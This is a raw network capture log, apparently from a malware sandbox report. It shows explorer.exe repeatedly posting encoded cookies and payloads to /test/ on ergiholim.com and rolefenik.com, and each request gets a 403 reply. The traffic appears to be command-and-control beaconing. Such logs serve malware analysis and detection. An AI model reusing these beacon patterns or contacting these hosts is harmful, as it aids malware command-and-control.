2024-11-13 17:22:12 UTC	92	OUT	Data Raw: 79 70 43 67 56 6b 30 79 34 55 71 68 32 33 39 73 38 57 36 4e 38 73 61 39 55 35 75 30 71 53 46 66 39 66 4a 46 64 70 37 56 51 4e 37 52 70 6c 48 4f 52 64 66 2f 39 7a 62 47 43 34 4a 2b 6e 2f 56 63 34 67 47 78 64 57 7a 2b 33 6b 47 51 53 64 69 65 65 51 6f 6d 5a 78 66 41 6b 4b 73 3d Data Ascii: ypCgVk0y4Uqh239s8W6N8sa9U5u0qSFf9fJFdp7VQN7RplHORdf/9zbGC4J+n/Vc4gGxdWz+3kGQSdieeQomZxfAkKs=
2024-11-13 17:22:13 UTC	750	IN	HTTP/1.1 403 Forbidden Date: Wed, 13 Nov 2024 17:22:13 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=vBtSPqmxyrDyJkwix5qrnt1vDvxLIih5%2BzmEa8Mpg26g5%2FRfxNfvqAevPswy1rH37yK9PPgZOftMqPWbbuuFJr4o%2FpRf1w0GjVs2bTqc9xu5Ty1mkm4dbJXT%2B3egor2x"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e20714e1cd97343-NRT alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=159109&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2829&recv_bytes=1167&delivery_rate=19007&cwnd=32&unsent_bytes=0&cid=d108ffc8d6860c68&ts=744&x=0"
2024-11-13 17:22:13 UTC	555	IN	Data Raw: 32 32 34 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 Data Ascii: 224<html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>nginx</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Ch
2024-11-13 17:22:13 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.6	50015	104.21.15.162	443	4004	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-13 17:22:14 UTC	415	OUT	POST /test/ HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded Cookie: j5K0WwQy8E33yTF34zGCp9roEsjpoiNAoqVrM6qUFZ36/gzvOdfw9zrDDeBYya4IuV6qNzmNiQqUfYahC2lLVTbqt5XyVp0hwvbK2vnNUAAtGlXVM+D42Mk4NuWCyI1ck1nRJs/qrYn5hAe/Z5FE3vPakI1pZgM9QiBY1SuUm/CP68lRUkQ= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Tob 1.1) Host: ergiholim.com Content-Length: 92 Cache-Control: no-cache
2024-11-13 17:22:14 UTC	92	OUT	Data Raw: 79 70 43 67 56 6b 30 79 34 55 71 68 32 33 39 73 38 57 36 4e 38 73 61 39 55 35 75 30 71 53 46 66 39 66 4a 46 64 70 37 56 51 4e 37 52 70 6c 48 4f 52 64 66 2f 39 7a 62 47 43 34 4a 2b 6e 2f 56 63 34 67 47 78 64 57 7a 2b 33 6b 47 51 53 64 69 65 65 51 6f 6d 5a 78 66 41 6b 4b 73 3d Data Ascii: ypCgVk0y4Uqh239s8W6N8sa9U5u0qSFf9fJFdp7VQN7RplHORdf/9zbGC4J+n/Vc4gGxdWz+3kGQSdieeQomZxfAkKs=
2024-11-13 17:22:15 UTC	754	IN	HTTP/1.1 403 Forbidden Date: Wed, 13 Nov 2024 17:22:14 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=tvSmXj%2F%2FqmB6eitwB0UhijrFrICaGR%2FWE06adn4uaNGIw872uHPkLIeDMAH8JT%2FnqCUnadLM748brKiJAGQ5iaqZPJ40m%2B2pD3pwRXVYPgCIU5tJ%2BhKvHNcfekodJbq5"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e2071582e11d75c-NRT alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=130440&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2832&recv_bytes=1167&delivery_rate=22173&cwnd=32&unsent_bytes=0&cid=79abd2e80f78800c&ts=811&x=0"
2024-11-13 17:22:15 UTC	555	IN	Data Raw: 32 32 34 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 Data Ascii: 224<html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>nginx</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Ch
2024-11-13 17:22:15 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.6	50016	104.21.92.105	443	4004	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-13 17:22:15 UTC	415	OUT	POST /test/ HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded Cookie: j5K0WwQy8E33yTF34zGCp9roEsjpoiNAoqVrM6qUFZ36/gzvOdfw9zrDDeBYya4IuV6qNzmNiQqUfYahC2lLVTbqt5XyVp0hwvbK2vnNUAAtGlXVM+D42Mk4NuWCyI1ck1nRJs/qrYn5hAe/Z5FE3vPakI1pZgM9QjdF3ieakfKP7clRUkQ= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Tob 1.1) Host: rolefenik.com Content-Length: 92 Cache-Control: no-cache
2024-11-13 17:22:15 UTC	92	OUT	Data Raw: 79 70 43 67 56 6b 30 79 34 55 71 68 32 33 39 73 38 57 36 4e 38 73 61 39 55 35 75 30 71 53 46 66 39 66 4a 46 64 70 37 56 51 4e 37 52 70 6c 48 4f 52 64 66 2f 39 7a 62 47 43 34 4a 2b 6e 2f 56 63 34 67 47 78 64 57 7a 2b 33 6b 47 51 53 64 69 65 65 51 6f 6d 5a 78 66 41 6b 4b 73 3d Data Ascii: ypCgVk0y4Uqh239s8W6N8sa9U5u0qSFf9fJFdp7VQN7RplHORdf/9zbGC4J+n/Vc4gGxdWz+3kGQSdieeQomZxfAkKs=
2024-11-13 17:22:16 UTC	760	IN	HTTP/1.1 403 Forbidden Date: Wed, 13 Nov 2024 17:22:16 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=0oLqfR3iLDMGNOiUQ2gOoNu%2BetsYhNLbtJ5e11e3MkZa9AmZrDwdn02mP1zuSr9C9fsl%2FBrmK3TxagTdZTzw2XR8amlG%2F%2F%2Fp%2BWvS%2ByqaBU%2FGQ%2BxgpaQCYHqMs7xPYn4Y"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e207162b8d68072-NRT alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=130311&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2828&recv_bytes=1167&delivery_rate=22228&cwnd=32&unsent_bytes=0&cid=6e9b253a75976fe3&ts=710&x=0"
2024-11-13 17:22:16 UTC	555	IN	Data Raw: 32 32 34 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 Data Ascii: 224<html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>nginx</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Ch
2024-11-13 17:22:16 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.6	50017	104.21.15.162	443	4004	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-13 17:22:17 UTC	415	OUT	POST /test/ HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded Cookie: j5K0WwQy8E33yTF34zGCp9roEsjpoiNAoqVrM6qUFZ36/gzvOdfw9zrDDeBYya4IuV6qNzmNiQqUfYahC2lLVTbqt5XyVp0hwvbK2vnNUAAtGlXVM+D42Mk4NuWCyI1ck1nRJs/qrYn5hAe/Z5FE3vPakI1pZgM9QiBY1SuUm/CP68lRUkQ= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Tob 1.1) Host: ergiholim.com Content-Length: 92 Cache-Control: no-cache
2024-11-13 17:22:17 UTC	92	OUT	Data Raw: 79 70 43 67 56 6b 30 79 34 55 71 68 32 33 39 73 38 57 36 4e 38 73 61 39 55 35 75 30 71 53 46 66 39 66 4a 46 64 70 37 56 51 4e 37 52 70 6c 48 4f 52 64 66 2f 39 7a 62 47 43 34 4a 2b 6e 2f 56 63 34 67 47 78 64 57 7a 2b 33 6b 47 51 53 64 69 65 65 51 6f 6d 5a 78 66 41 6b 4b 73 3d Data Ascii: ypCgVk0y4Uqh239s8W6N8sa9U5u0qSFf9fJFdp7VQN7RplHORdf/9zbGC4J+n/Vc4gGxdWz+3kGQSdieeQomZxfAkKs=
2024-11-13 17:22:17 UTC	747	IN	HTTP/1.1 403 Forbidden Date: Wed, 13 Nov 2024 17:22:17 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=cStJcZhAMkzdJIeXYFhmbgRIS0hVWpDULUOP%2BXC9Q8iVBG9pbLYnwz5VzmxR%2FIiBUwtqkIkkRCFg4Kkz8Xr649eEYsAPsp4aiF79HW2gmtZ8aqOMOpjtvpZNgeEOOes6"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e20716ab9e2e83f-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1690&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2831&recv_bytes=1167&delivery_rate=1678840&cwnd=251&unsent_bytes=0&cid=26728fb0c55359b4&ts=439&x=0"
2024-11-13 17:22:17 UTC	555	IN	Data Raw: 32 32 34 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 Data Ascii: 224<html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>nginx</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Ch
2024-11-13 17:22:17 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.6	50018	104.21.92.105	443	4004	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-13 17:22:18 UTC	415	OUT	POST /test/ HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded Cookie: j5K0WwQy8E33yTF34zGCp9roEsjpoiNAoqVrM6qUFZ36/gzvOdfw9zrDDeBYya4IuV6qNzmNiQqUfYahC2lLVTbqt5XyVp0hwvbK2vnNUAAtGlXVM+D42Mk4NuWCyI1ck1nRJs/qrYn5hAe/Z5FE3vPakI1pZgM9QjdF3ieakfKP7clRUkQ= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Tob 1.1) Host: rolefenik.com Content-Length: 92 Cache-Control: no-cache
2024-11-13 17:22:18 UTC	92	OUT	Data Raw: 79 70 43 67 56 6b 30 79 34 55 71 68 32 33 39 73 38 57 36 4e 38 73 61 39 55 35 75 30 71 53 46 66 39 66 4a 46 64 70 37 56 51 4e 37 52 70 6c 48 4f 52 64 66 2f 39 7a 62 47 43 34 4a 2b 6e 2f 56 63 34 67 47 78 64 57 7a 2b 33 6b 47 51 53 64 69 65 65 51 6f 6d 5a 78 66 41 6b 4b 73 3d Data Ascii: ypCgVk0y4Uqh239s8W6N8sa9U5u0qSFf9fJFdp7VQN7RplHORdf/9zbGC4J+n/Vc4gGxdWz+3kGQSdieeQomZxfAkKs=
2024-11-13 17:22:18 UTC	747	IN	HTTP/1.1 403 Forbidden Date: Wed, 13 Nov 2024 17:22:18 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=hZkCJJz9GHb7NR2zmjo8DpZbGZClUPv7r6uth0raAbl2ijQpuhJLfIMkAn4D4Rm1%2Fld4v3esqTUXqlLt1TZfSIWrULQQBychNAqmdgp4iblnkEo5vq2t0sI9%2BbMjXcfB"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e2071716ed12cb2-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1540&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2828&recv_bytes=1167&delivery_rate=1857601&cwnd=251&unsent_bytes=0&cid=1247669daad8c299&ts=394&x=0"
2024-11-13 17:22:18 UTC	555	IN	Data Raw: 32 32 34 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 Data Ascii: 224<html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>nginx</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Ch
2024-11-13 17:22:18 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.6	50019	104.21.15.162	443	4004	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-13 17:22:19 UTC	415	OUT	POST /test/ HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded Cookie: j5K0WwQy8E33yTF34zGCp9roEsjpoiNAoqVrM6qUFZ36/gzvOdfw9zrDDeBYya4IuV6qNzmNiQqUfYahC2lLVTbqt5XyVp0hwvbK2vnNUAAtGlXVM+D42Mk4NuWCyI1ck1nRJs/qrYn5hAe/Z5FE3vPakI1pZgM9QiBY1SuUm/CP68lRUkQ= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Tob 1.1) Host: ergiholim.com Content-Length: 92 Cache-Control: no-cache
2024-11-13 17:22:19 UTC	92	OUT	Data Raw: 79 70 43 67 56 6b 30 79 34 55 71 68 32 33 39 73 38 57 36 4e 38 73 61 39 55 35 75 30 71 53 46 66 39 66 4a 46 64 70 37 56 51 4e 37 52 70 6c 48 4f 52 64 66 2f 39 7a 62 47 43 34 4a 2b 6e 2f 56 63 34 67 47 78 64 57 7a 2b 33 6b 47 51 53 64 69 65 65 51 6f 6d 5a 78 66 41 6b 4b 73 3d Data Ascii: ypCgVk0y4Uqh239s8W6N8sa9U5u0qSFf9fJFdp7VQN7RplHORdf/9zbGC4J+n/Vc4gGxdWz+3kGQSdieeQomZxfAkKs=
2024-11-13 17:22:20 UTC	744	IN	HTTP/1.1 403 Forbidden Date: Wed, 13 Nov 2024 17:22:20 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=WH5Airkvd6EM7%2FL8EiezsrnbczJvlTaEFxVCvRBhsNDb0KMmvWHs3egnJa1MtE2W3iFHgpflnqDtJuSM0DzyeleOhuUTd7W8FoIixWSDFawxtopb7k7dhzfET8r2D0HQ"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e20717a3d55f611-NRT alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=161599&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2830&recv_bytes=1167&delivery_rate=16773&cwnd=32&unsent_bytes=0&cid=6608eb3e6b33cf5f&ts=811&x=0"
2024-11-13 17:22:20 UTC	555	IN	Data Raw: 32 32 34 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 Data Ascii: 224<html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>nginx</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Ch
2024-11-13 17:22:20 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.6	50020	104.21.92.105	443	4004	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-13 17:22:21 UTC	415	OUT	POST /test/ HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded Cookie: j5K0WwQy8E33yTF34zGCp9roEsjpoiNAoqVrM6qUFZ36/gzvOdfw9zrDDeBYya4IuV6qNzmNiQqUfYahC2lLVTbqt5XyVp0hwvbK2vnNUAAtGlXVM+D42Mk4NuWCyI1ck1nRJs/qrYn5hAe/Z5FE3vPakI1pZgM9QjdF3ieakfKP7clRUkQ= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Tob 1.1) Host: rolefenik.com Content-Length: 92 Cache-Control: no-cache
2024-11-13 17:22:21 UTC	92	OUT	Data Raw: 79 70 43 67 56 6b 30 79 34 55 71 68 32 33 39 73 38 57 36 4e 38 73 61 39 55 35 75 30 71 53 46 66 39 66 4a 46 64 70 37 56 51 4e 37 52 70 6c 48 4f 52 64 66 2f 39 7a 62 47 43 34 4a 2b 6e 2f 56 63 34 67 47 78 64 57 7a 2b 33 6b 47 51 53 64 69 65 65 51 6f 6d 5a 78 66 41 6b 4b 73 3d Data Ascii: ypCgVk0y4Uqh239s8W6N8sa9U5u0qSFf9fJFdp7VQN7RplHORdf/9zbGC4J+n/Vc4gGxdWz+3kGQSdieeQomZxfAkKs=
2024-11-13 17:22:22 UTC	758	IN	HTTP/1.1 403 Forbidden Date: Wed, 13 Nov 2024 17:22:22 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=SrhKCms9rG%2FoJ%2B%2F9gGRAc00MgCaOhXMiMoizs0uOMxRFCwOVgK5hy%2Fq%2BMNerNqPMw8R%2B91XqU%2BS60k5sRHw7zL9FYy5UyPrthbT5DbwHns3kBhe%2FKzLtMWXur9OxHXWG"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e207184aca71da7-NRT alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=137510&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2828&recv_bytes=1167&delivery_rate=21048&cwnd=32&unsent_bytes=0&cid=3bba51ff7b12d286&ts=756&x=0"
2024-11-13 17:22:22 UTC	555	IN	Data Raw: 32 32 34 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 Data Ascii: 224<html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>nginx</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Ch
2024-11-13 17:22:22 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.6	50021	104.21.15.162	443	4004	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-13 17:22:23 UTC	415	OUT	POST /test/ HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded Cookie: j5K0WwQy8E33yTF34zGCp9roEsjpoiNAoqVrM6qUFZ36/gzvOdfw9zrDDeBYya4IuV6qNzmNiQqUfYahC2lLVTbqt5XyVp0hwvbK2vnNUAAtGlXVM+D42Mk4NuWCyI1ck1nRJs/qrYn5hAe/Z5FE3vPakI1pZgM9QiBY1SuUm/CP68lRUkQ= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Tob 1.1) Host: ergiholim.com Content-Length: 92 Cache-Control: no-cache
2024-11-13 17:22:23 UTC	92	OUT	Data Raw: 79 70 43 67 56 6b 30 79 34 55 71 68 32 33 39 73 38 57 36 4e 38 73 61 39 55 35 75 30 71 53 46 66 39 66 4a 46 64 70 37 56 51 4e 37 52 70 6c 48 4f 52 64 66 2f 39 7a 62 47 43 34 4a 2b 6e 2f 56 63 34 67 47 78 64 57 7a 2b 33 6b 47 51 53 64 69 65 65 51 6f 6d 5a 78 66 41 6b 4b 73 3d Data Ascii: ypCgVk0y4Uqh239s8W6N8sa9U5u0qSFf9fJFdp7VQN7RplHORdf/9zbGC4J+n/Vc4gGxdWz+3kGQSdieeQomZxfAkKs=
